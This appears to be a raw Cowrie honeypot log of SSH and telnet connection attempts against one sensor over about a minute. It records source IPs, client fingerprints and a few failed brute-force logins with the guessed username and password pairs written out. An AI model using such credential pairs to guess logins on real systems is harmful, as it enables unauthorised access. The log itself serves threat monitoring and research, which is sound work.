{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:10:10.467227Z","src_ip":"154.219.100.220","session":"dcc85f9280c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:10:10.917782Z","src_ip":"200.187.71.114","session":"5c0ac51bbd87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":37328,"dst_ip":"159.203.135.109","dst_port":23,"session":"1fd96843f6b1","protocol":"telnet","message":"New connection: 161.97.105.174:37328 (159.203.135.109:23) [session: 1fd96843f6b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:10:11.059446Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":37330,"dst_ip":"159.203.135.109","dst_port":23,"session":"6fa0e42adb19","protocol":"telnet","message":"New connection: 161.97.105.174:37330 (159.203.135.109:23) [session: 6fa0e42adb19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:10:11.988193Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":37332,"dst_ip":"159.203.135.109","dst_port":23,"session":"2df1ec1dea5e","protocol":"telnet","message":"New connection: 161.97.105.174:37332 (159.203.135.109:23) [session: 2df1ec1dea5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:10:12.214332Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.92.15.23","src_port":40622,"dst_ip":"159.203.135.109","dst_port":22,"session":"c1be3db11f89","protocol":"ssh","message":"New connection: 154.92.15.23:40622 (159.203.135.109:22) [session: c1be3db11f89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:10:16.684751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:10:16.690630Z","src_ip":"154.92.15.23","session":"c1be3db11f89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":37340,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf4bb5b6cdd3","protocol":"telnet","message":"New connection: 161.97.105.174:37340 (159.203.135.109:23) [session: cf4bb5b6cdd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:10:17.629407Z"}
{"eventid":"cowrie.session.closed","duration":32.98088097572327,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:10:17.652228Z","src_ip":"161.97.105.174","session":"e243bff1b540","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":60064,"dst_ip":"159.203.135.109","dst_port":23,"session":"3cb803cebf6c","protocol":"telnet","message":"New connection: 161.97.105.174:60064 (159.203.135.109:23) [session: 3cb803cebf6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:10:20.001912Z"}
{"eventid":"cowrie.session.closed","duration":33.02916693687439,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:10:20.493995Z","src_ip":"161.97.105.174","session":"36513cad783f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.45169925689697,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:10:20.810015Z","src_ip":"161.97.105.174","session":"03f1f32b6ff6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":60076,"dst_ip":"159.203.135.109","dst_port":23,"session":"84cafb9a7132","protocol":"telnet","message":"New connection: 161.97.105.174:60076 (159.203.135.109:23) [session: 84cafb9a7132]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:10:21.245211Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":60078,"dst_ip":"159.203.135.109","dst_port":23,"session":"01472e045d9e","protocol":"telnet","message":"New connection: 161.97.105.174:60078 (159.203.135.109:23) [session: 01472e045d9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:10:21.702653Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":60084,"dst_ip":"159.203.135.109","dst_port":23,"session":"81b50cfe443a","protocol":"telnet","message":"New connection: 161.97.105.174:60084 (159.203.135.109:23) [session: 81b50cfe443a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:10:22.215942Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.130.174","src_port":44346,"dst_ip":"10.17.0.5","dst_port":22,"session":"2663ab690c73","protocol":"ssh","message":"New connection: 152.32.130.174:44346 (10.17.0.5:22) [session: 2663ab690c73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:10:23.328951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:10:23.333488Z","src_ip":"152.32.130.174","session":"2663ab690c73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:10:23.550765Z","src_ip":"152.32.130.174","session":"2663ab690c73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"88888888","message":"login attempt [dev/88888888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:10:24.451499Z","src_ip":"152.32.130.174","session":"2663ab690c73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":60088,"dst_ip":"159.203.135.109","dst_port":23,"session":"36847185b540","protocol":"telnet","message":"New connection: 161.97.105.174:60088 (159.203.135.109:23) [session: 36847185b540]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:10:24.579126Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":60092,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d0ec8921ece","protocol":"telnet","message":"New connection: 161.97.105.174:60092 (159.203.135.109:23) [session: 3d0ec8921ece]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:10:24.894238Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:10:25.671898Z","src_ip":"152.32.130.174","session":"2663ab690c73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":60100,"dst_ip":"159.203.135.109","dst_port":23,"session":"9264422d1610","protocol":"telnet","message":"New connection: 161.97.105.174:60100 (159.203.135.109:23) [session: 9264422d1610]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:10:25.746886Z"}
{"eventid":"cowrie.session.closed","duration":"9.1","message":"Connection lost after 9.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:10:25.772861Z","src_ip":"154.92.15.23","session":"c1be3db11f89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.47527885437012,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:10:26.499595Z","src_ip":"161.97.105.174","session":"68a7972274b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":60114,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d46e2bfe640","protocol":"telnet","message":"New connection: 161.97.105.174:60114 (159.203.135.109:23) [session: 7d46e2bfe640]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:10:26.531345Z"}
{"eventid":"cowrie.session.closed","duration":33.089176177978516,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:10:26.773464Z","src_ip":"161.97.105.174","session":"a088e94d5480","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.96535563468933,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:10:28.195709Z","src_ip":"161.97.105.174","session":"2272f060d6c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":41066,"dst_ip":"159.203.135.109","dst_port":23,"session":"3dd2d6f28427","protocol":"telnet","message":"New connection: 161.97.105.174:41066 (159.203.135.109:23) [session: 3dd2d6f28427]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:10:31.589473Z"}
{"eventid":"cowrie.session.closed","duration":34.245357036590576,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:10:32.692546Z","src_ip":"161.97.105.174","session":"f03ac43e161f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":35768,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8f2254799c6","protocol":"ssh","message":"New connection: 202.125.94.71:35768 (10.17.0.5:22) [session: a8f2254799c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:10:33.047320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:10:33.052394Z","src_ip":"202.125.94.71","session":"a8f2254799c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":41078,"dst_ip":"159.203.135.109","dst_port":23,"session":"0852803ae7fe","protocol":"telnet","message":"New connection: 161.97.105.174:41078 (159.203.135.109:23) [session: 0852803ae7fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:10:33.306311Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:10:33.316511Z","src_ip":"202.125.94.71","session":"a8f2254799c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.380837202072144,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:10:33.489191Z","src_ip":"161.97.105.174","session":"8b9573155b0d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"test","password":"test12!@","message":"login attempt [test/test12!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:10:34.406779Z","src_ip":"202.125.94.71","session":"a8f2254799c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.069650173187256,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:10:35.597329Z","src_ip":"161.97.105.174","session":"a051cedb2abb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:10:35.674333Z","src_ip":"202.125.94.71","session":"a8f2254799c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":41094,"dst_ip":"159.203.135.109","dst_port":23,"session":"1cec01444b78","protocol":"telnet","message":"New connection: 161.97.105.174:41094 (159.203.135.109:23) [session: 1cec01444b78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:10:36.379333Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":41104,"dst_ip":"159.203.135.109","dst_port":23,"session":"295c77e85200","protocol":"telnet","message":"New connection: 161.97.105.174:41104 (159.203.135.109:23) [session: 295c77e85200]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:10:37.099515Z"}
{"eventid":"cowrie.session.closed","duration":32.777899980545044,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:10:42.533385Z","src_ip":"161.97.105.174","session":"d0f62f0eaeee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.33420133590698,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:10:43.393523Z","src_ip":"161.97.105.174","session":"1fd96843f6b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":36756,"dst_ip":"159.203.135.109","dst_port":23,"session":"31afaaf40937","protocol":"telnet","message":"New connection: 161.97.105.174:36756 (159.203.135.109:23) [session: 31afaaf40937]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:10:43.558017Z"}
{"eventid":"cowrie.session.closed","duration":32.6778450012207,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:10:44.665865Z","src_ip":"161.97.105.174","session":"6fa0e42adb19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.886053800582886,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:10:45.100222Z","src_ip":"161.97.105.174","session":"2df1ec1dea5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.72512102127075,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:10:50.354411Z","src_ip":"161.97.105.174","session":"cf4bb5b6cdd3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.480080127716064,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:10:53.695879Z","src_ip":"161.97.105.174","session":"81b50cfe443a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":54432,"dst_ip":"159.203.135.109","dst_port":23,"session":"a79bb7156d87","protocol":"telnet","message":"New connection: 161.97.105.174:54432 (159.203.135.109:23) [session: a79bb7156d87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:10:53.783628Z"}
{"eventid":"cowrie.session.closed","duration":32.55999207496643,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:10:54.262519Z","src_ip":"161.97.105.174","session":"01472e045d9e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.13189744949341,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:10:54.376957Z","src_ip":"161.97.105.174","session":"84cafb9a7132","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"121.61.130.234","src_port":45094,"dst_ip":"10.17.0.5","dst_port":23,"session":"6620a57b9681","protocol":"telnet","message":"New connection: 121.61.130.234:45094 (10.17.0.5:23) [session: 6620a57b9681]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:10:54.776552Z"}
{"eventid":"cowrie.session.closed","duration":36.15201234817505,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:10:56.153791Z","src_ip":"161.97.105.174","session":"3cb803cebf6c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.42450475692749,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:10:58.318607Z","src_ip":"161.97.105.174","session":"3d0ec8921ece","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.074328660964966,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:10:58.653346Z","src_ip":"161.97.105.174","session":"36847185b540","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.79858160018921,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:10:59.329816Z","src_ip":"161.97.105.174","session":"7d46e2bfe640","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.219.100.220","src_port":41782,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3fadf1fbde1","protocol":"ssh","message":"New connection: 154.219.100.220:41782 (10.17.0.5:22) [session: b3fadf1fbde1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:00.771379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:00.781245Z","src_ip":"154.219.100.220","session":"b3fadf1fbde1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:00.986135Z","src_ip":"154.219.100.220","session":"b3fadf1fbde1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.80883288383484,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:01.555599Z","src_ip":"161.97.105.174","session":"9264422d1610","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu@2022","message":"login attempt [ubuntu/ubuntu@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:01.850309Z","src_ip":"154.219.100.220","session":"b3fadf1fbde1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:03.058793Z","src_ip":"154.219.100.220","session":"b3fadf1fbde1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.46381664276123,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:04.053159Z","src_ip":"161.97.105.174","session":"3dd2d6f28427","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":52506,"dst_ip":"159.203.135.109","dst_port":23,"session":"950777f9bfca","protocol":"telnet","message":"New connection: 161.97.105.174:52506 (159.203.135.109:23) [session: 950777f9bfca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:05.541885Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":52512,"dst_ip":"159.203.135.109","dst_port":23,"session":"baf5cb81341a","protocol":"telnet","message":"New connection: 161.97.105.174:52512 (159.203.135.109:23) [session: baf5cb81341a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:06.778785Z"}
{"eventid":"cowrie.session.closed","duration":33.74533033370972,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:07.051536Z","src_ip":"161.97.105.174","session":"0852803ae7fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":52516,"dst_ip":"159.203.135.109","dst_port":23,"session":"9931c96d5b81","protocol":"telnet","message":"New connection: 161.97.105.174:52516 (159.203.135.109:23) [session: 9931c96d5b81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:07.428547Z"}
{"eventid":"cowrie.session.closed","duration":12.880348205566406,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:07.656786Z","src_ip":"121.61.130.234","session":"6620a57b9681","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":56770,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b3f4c59a77c","protocol":"telnet","message":"New connection: 161.97.105.174:56770 (159.203.135.109:23) [session: 6b3f4c59a77c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:08.991194Z"}
